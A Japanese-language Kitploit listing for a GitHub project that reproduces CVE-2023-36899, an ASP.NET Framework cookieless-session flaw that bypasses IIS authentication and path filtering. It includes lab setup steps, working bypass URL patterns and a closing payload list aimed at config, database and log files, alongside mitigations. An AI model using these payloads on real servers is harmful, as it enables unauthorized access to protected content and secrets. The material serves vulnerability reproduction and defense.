Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-36899 — CVE-2023-36899の脆弱性の再現環境とツール、ASP.NETフレームワークにおけるクッキーレスセッション認証バイパスを対象とする。 | Kitploit
ツール/GitHubGitHub/midisec/cve-2023-36899
認証と認可脆弱性分析エクスプロイトIDS/IPS回避ウェブアプリケーション悪用ペネトレーションテスト
GitHubmidisec/cve-2023-36899

CVE-2023-36899

CVE-2023-36899の脆弱性の再現環境とツール、ASP.NETフレームワークにおけるクッキーレスセッション認証バイパスを対象とする。

リポジトリを見る
335123年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-36899

CVE-2023-36899 脆弱性の再現環境とツール。ASP.NET Framework におけるクッキーレスセッション認証バイパスに関するもの。

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)

現代のWeb開発では、セッションIDを転送する方法としてクッキーが好まれますが、.NET Framework は別の方法も提供しています。それは、セッションIDをURLに直接エンコードする方法です。この技術は、.NET Framework では「クッキーレス」機能と呼ばれています。多くの開発者やセキュリティテスターは、実際のアプリケーションではほとんど使われないため、このオプションを見逃しています。しかし、これはセッション固定、セッションハイジャック、HTMLインジェクション、クロスサイトスクリプティングなどのクライアント側の脆弱性を発見する宝庫となっています。さらに、この機能は、クッキーレス方式を認識するように設定されていないパスベースのファイアウォールルールをバイパスするために悪用される可能性があります。固有のセキュリティ問題のため、.NET Core およびそれ以降の .NET バージョンでは、クッキーレス機能は省略されています。しかし、依然としてクラシック .NET Framework を使用している大量のWebアプリケーションが存在することを忘れてはなりません。

重要なポイント:

  1. .NET Framework のクッキーレス機能は、保護されたディレクトリやIISのURLフィルターによってブロックされたディレクトリにアクセスするために悪用される可能性があります。
  2. クッキーレス機能を使用することで、IISの認証やフィルターチェックをバイパスできます。
  3. 別の問題は、IISがアプリケーションプールを管理する方法に関係しており、権限昇格やセキュリティバイパスにつながる可能性があります。
  4. .NET Framework のクッキーレス機能を通じて、IISアプリケーションに自身のアプリケーションプールではなく、親アプリケーションプールを使用させることができます。

脆弱性の詳細

1. IIS 制限パスのバイパス

.NET Framework のクッキーレス機能は、保護されたディレクトリやIISのURLフィルターによってブロックされたディレクトリにアクセスするために悪用される可能性があります。例えば、victim.com サイトでの以下の状況を考えてみます。

  • /protected/ ディレクトリ内のページ: /webform/protected/target1.aspx。このディレクトリは基本認証を強制します。
  • /bin/ フォルダに一時的に移動されたページ: /webform/bin/target2.aspx。これによりアクセスできなくなります。

通常、これらのURLを介してページにアクセスすると、IISでブロックされます。

  • http://10.0.2.15:8080/webform/protected/target1.aspx
  • http://10.0.2.15:8080/webform/bin/target2.aspx

しかし、クッキーレス機能を利用して、以下のパターンでこれらのページにアクセスできます。

  • http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
  • http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. アプリケーションプールの混乱

IISがアプリケーションプールを管理する方法は、権限昇格やセキュリティバイパスにつながる可能性があります。.NET Framework のクッキーレス機能を操作して、IISアプリケーションに自身のアプリケーションプールではなく、親アプリケーションプールを使用させることができます。 例:

  • サイトのルート(/)はDefaultAppPoolアプリケーションプールで実行されます。
  • /classic/ アプリケーションは.NET v4.5 Classicアプリケーションプールを使用します。
  • /classic/nodotnet/ アプリケーションはNoManagedCodeClassicアプリケーションプールを使用し、マネージドコードをサポートしません。

AppPoolPrint.aspxというC#ファイルは、上記のすべてのアプリケーションでアクセス可能で、現在のアプリケーションプール名を表示します。 クッキーレス機能を2回使用することで、親アプリケーションプールでこのページを実行できます。

  • /(S(X))/(S(X))/classic/AppPoolPrint.aspx → DefaultAppPool
  • /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx → DefaultAppPool
  • /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx → .NET v4.5 Classic

これにより、/classic/nodotnet/ 内のページ(マネージドコードを実行すべきではない)でも、親アプリケーションプールを使用してASPXページを実行できるようになります。この動作は、IIS上での権限昇格につながる可能性があります。

脆弱性の再現

1. 環境準備

  • オペレーティングシステム: Windows Server 2016 や 2019 などの Windows Server バージョンをインストールします。
  • Webサーバー: Internet Information Services (IIS) をインストールします。
  • 開発フレームワーク: .NET Framework(.NET Core や .NET 5+ ではない)をインストールします。

IISインストール時に以下を選択します。

  • Webサーバー:
    • 共通HTTP機能:
      • 静的コンテンツ
      • 既定のドキュメント
      • ディレクトリの参照
      • HTTPエラー
    • アプリケーション開発:
      • .NET 拡張機能(.NET Framework バージョンに対応:4.5)
      • ASP.NET(.NET Framework バージョンに対応:4.5)
      • ISAPI 拡張
      • ISAPI フィルター
  • 正常性と診断:
    • HTTP ログ
    • 要求の監視
    • ログ ツール
  • セキュリティ:
    • 要求フィルター
    • 基本認証
    • Windows 認証

2. IIS の構成

  1. IIS マネージャーを開きます。
  2. 新しいWebサイトを作成します。
  3. 新しいサイト内に、いくつかのディレクトリを作成します。例:/webform, /webform/protected, /webform/bin。
  4. /protected/ ディレクトリに基本認証を設定します。
  5. /webform/bin/target.aspx ページを /bin/ フォルダに移動して、直接アクセスできないようにします(binディレクトリはIISの既定ではアクセスを許可されていません。コンパイル済みの機密プログラムに関連するため)。

3. テストページの作成

  1. /webform/protected/ ディレクトリ内に target.aspx という名前のページを作成します。
  2. /webform/bin/ ディレクトリ内に target.aspx という名前のページを作成します。
  3. 各アプリケーション内に、現在のアプリケーションプール名を表示できる AppPoolPrint.aspx という名前のページを作成します。

target.aspx ファイルのテスト内容:

<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

ルートディレクトリの web.config ファイルのテスト内容:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

<sessionState mode="InProc" cookieless="UseCookies" /> は、サイトがクッキーを使用してデフォルトのセッション情報などを保存することを意味します。これがデフォルトです。

4. 脆弱性の再現

  1. /webform/protected/target.aspx および /webform/bin/target.aspx ページに直接アクセスしてみます。ブロックされるか、認証が要求されるはずです。

2023-08-16 06-25-21屏幕截图.png

http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx を使用してアクセス成功 2023-08-16 06-33-20屏幕截图.png

  1. クッキーレス機能を使用してこれらのページにアクセスしてみます。例:
    • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
    • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx 認証やフィルターをバイパスしてページにアクセスできるはずです。

修正の推奨事項

  1. /S(X)) の特徴をWAFでブロックします。
  2. サーバーに対応するパッチをインストールします。 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

可能性のあるペイロードリスト:

/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

参考:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899

ツールをダウンロード